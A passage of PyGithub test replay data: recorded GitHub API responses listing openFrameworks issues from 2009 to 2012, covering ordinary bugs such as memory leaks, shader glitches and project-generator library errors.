http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=2638&view=unread#unread","number":22,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/22","labels":[],"id":72146,"closed_at":"2009-12-05T19:50:43Z","created_at":"2009-10-22T00:00:43Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"setAnchorPoint - move arguments from int to float","html_url":"https://github.com/openframeworks/openFrameworks/issues/21","comments":1,"assignee":null,"updated_at":"2009-10-24T16:12:19Z","body":"\r\n","number":21,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/21","labels":[],"id":72145,"closed_at":"2009-10-24T16:12:19Z","created_at":"2009-10-22T00:00:26Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofBaseVideo - isFrameNew","html_url":"https://github.com/openframeworks/openFrameworks/issues/20","comments":1,"assignee":null,"updated_at":"2009-10-24T12:48:29Z","body":"","number":20,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/20","labels":[],"id":72144,"closed_at":"2009-10-24T12:48:29Z","created_at":"2009-10-21T23:59:41Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - grayscale to planar not working","html_url":"https://github.com/openframeworks/openFrameworks/issues/19","comments":0,"assignee":null,"updated_at":"2009-12-05T13:47:40Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?t=1763","number":19,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/19","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72142,"closed_at":"2009-12-05T13:47:40Z","created_at":"2009-10-21T23:59:09Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - remove implicit ROI intersection","html_url":"https://github.com/openframeworks/openFrameworks/issues/18","comments":0,"assignee":null,"updated_at":"2009-12-05T13:46:06Z","body":"","number":18,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/18","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72141,"closed_at":"2009-12-05T13:46:06Z","created_at":"2009-10-21T23:58:23Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"latest xcode needs tcp.h included in ofxUdpManager ","html_url":"https://github.com/openframeworks/openFrameworks/issues/17","comments":1,"assignee":null,"updated_at":"2009-10-24T12:51:02Z","body":"","number":17,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/17","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72140,"closed_at":"2009-10-24T12:51:02Z","created_at":"2009-10-21T23:57:50Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - drawBlobIntoMe","html_url":"https://github.com/openframeworks/openFrameworks/issues/16","comments":0,"assignee":null,"updated_at":"2009-12-05T13:46:06Z","body":"restore it","number":16,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/16","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72139,"closed_at":"2009-12-05T13:46:06Z","created_at":"2009-10-21T23:57:31Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - shortImage - assignment operators","html_url":"https://github.com/openframeworks/openFrameworks/issues/15","comments":1,"assignee":null,"updated_at":"2009-12-05T21:26:06Z","body":"","number":15,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/15","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72137,"closed_at":"2009-12-05T21:26:06Z","created_at":"2009-10-21T23:56:56Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - iphone #ifdefs ","html_url":"https://github.com/openframeworks/openFrameworks/issues/14","comments":0,"assignee":null,"updated_at":"2009-12-05T13:46:06Z","body":"","number":14,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/14","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72136,"closed_at":"2009-12-05T13:46:06Z","created_at":"2009-10-21T23:56:35Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxThread - stopThread should be called when threaded function returns","html_url":"https://github.com/openframeworks/openFrameworks/issues/13","comments":1,"assignee":null,"updated_at":"2009-12-04T17:22:09Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=9&t=2210&p=11929#p11929\r\n","number":13,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/13","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72135,"closed_at":"2009-12-04T17:22:09Z","created_at":"2009-10-21T23:55:54Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Examples - imageLoader - ofSetupScreen call not needed","html_url":"https://github.com/openframeworks/openFrameworks/issues/12","comments":1,"assignee":null,"updated_at":"2009-10-24T22:19:07Z","body":"","number":12,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/12","labels":[],"id":72134,"closed_at":"2009-10-24T22:19:07Z","created_at":"2009-10-21T23:55:06Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer uninitialized bool","html_url":"https://github.com/openframeworks/openFrameworks/issues/11","comments":1,"assignee":null,"updated_at":"2009-10-24T14:27:08Z","body":"dean's fix for unitialized bool in ofVideoPlayer","number":11,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/11","labels":[],"id":72133,"closed_at":"2009-10-24T14:27:08Z","created_at":"2009-10-21T23:54:25Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - do quick copy for getPixels and setPixels when image is memory alligned","html_url":"https://github.com/openframeworks/openFrameworks/issues/10","comments":1,"assignee":null,"updated_at":"2009-10-24T09:06:55Z","body":"ie 640 480 can be just a straight memcpy","number":10,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/10","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72132,"closed_at":"2009-10-24T09:06:55Z","created_at":"2009-10-21T23:53:24Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOsc shutdown leak","html_url":"https://github.com/openframeworks/openFrameworks/issues/9","comments":1,"assignee":null,"updated_at":"2009-10-24T13:40:48Z","body":"Shutdown issue - fix here: http://damian.dreamhosters.com/svn/public/ofxOsc/latest/\n","number":9,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/9","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72131,"closed_at":"2009-10-24T13:40:48Z","created_at":"2009-10-21T23:51:07Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxXmlSettings memory leak","html_url":"https://github.com/openframeworks/openFrameworks/issues/8","comments":2,"assignee":null,"updated_at":"2009-12-05T12:09:09Z","body":"Memory Leak in constructor: storedHandle = new TiXmlHandle(NULL); Never freed. \r\n","number":8,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/8","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72130,"closed_at":"2009-12-05T12:09:09Z","created_at":"2009-10-21T23:50:49Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofx3DModelLoader - non power of 2 textures","html_url":"https://github.com/openframeworks/openFrameworks/issues/7","comments":0,"assignee":null,"updated_at":"2011-01-08T20:27:15Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?p=12210#p12210\r\n","number":7,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/7","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":72129,"closed_at":"2011-01-08T20:27:15Z","created_at":"2009-10-21T23:50:06Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxXmlSettings read attributes","html_url":"https://github.com/openframeworks/openFrameworks/issues/6","comments":2,"assignee":null,"updated_at":"2009-12-05T12:08:38Z","body":"check and find the best out of these plus damian's and chris's http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=2039&hilit=attribute & http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=643&hilit=attribute","number":6,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72128,"closed_at":"2009-12-05T12:08:38Z","created_at":"2009-10-21T23:49:38Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetAppPtr()","html_url":"https://github.com/openframeworks/openFrameworks/issues/5","comments":1,"assignee":null,"updated_at":"2009-10-22T20:37:38Z","body":"to get a pointer to testApp","number":5,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/5","labels":[],"id":72127,"closed_at":"2009-10-22T20:37:38Z","created_at":"2009-10-21T23:48:21Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution - makes curved shapes a lot faster!","html_url":"https://github.com/openframeworks/openFrameworks/issues/4","comments":1,"assignee":null,"updated_at":"2009-10-24T16:23:42Z","body":"","number":4,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/4","labels":[],"id":72126,"closed_at":"2009-10-24T16:23:42Z","created_at":"2009-10-21T23:47:58Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Fullscreen on OS X should be not top level","html_url":"https://github.com/openframeworks/openFrameworks/issues/3","comments":7,"assignee":null,"updated_at":"2009-12-07T01:55:14Z","body":"Zach has the code for this - find simple implementation. ","number":3,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/3","labels":[{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"}],"id":72125,"closed_at":"2009-12-07T01:55:14Z","created_at":"2009-10-21T23:47:33Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"detect C:/ as a root path in ofToDataPath","html_url":"https://github.com/openframeworks/openFrameworks/issues/2","comments":1,"assignee":null,"updated_at":"2009-10-23T06:53:51Z","body":"","number":2,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2","labels":[],"id":72124,"closed_at":"2009-10-23T06:53:51Z","created_at":"2009-10-21T23:46:21Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"glutInitDisplayString option","html_url":"https://github.com/openframeworks/openFrameworks/issues/1","comments":4,"assignee":null,"updated_at":"2009-12-05T11:39:54Z","body":"allow user to pass a custom glut window string. fallback to default window if string unsuccessful. ","number":1,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1","labels":[],"id":72123,"closed_at":"2009-12-05T11:39:54Z","created_at":"2009-10-21T23:45:56Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue33.testOpenIssues.txt0000644000175100001660000232061014756101563023155 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4982'), ('content-length', '51959'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"c3111cf6eead96b7d0ea0d14f4a5e9eb"'), ('date', 'Tue, 29 May 2012 06:43:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"assignee":null,"closed_at":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280"},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"assignee":null,"closed_at":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"837cfe96365c031130a46311eb11d86a","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279"},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"assignee":null,"closed_at":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277"},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"assignee":null,"closed_at":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271"},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"assignee":null,"closed_at":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268"},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"assignee":null,"closed_at":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263"},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. 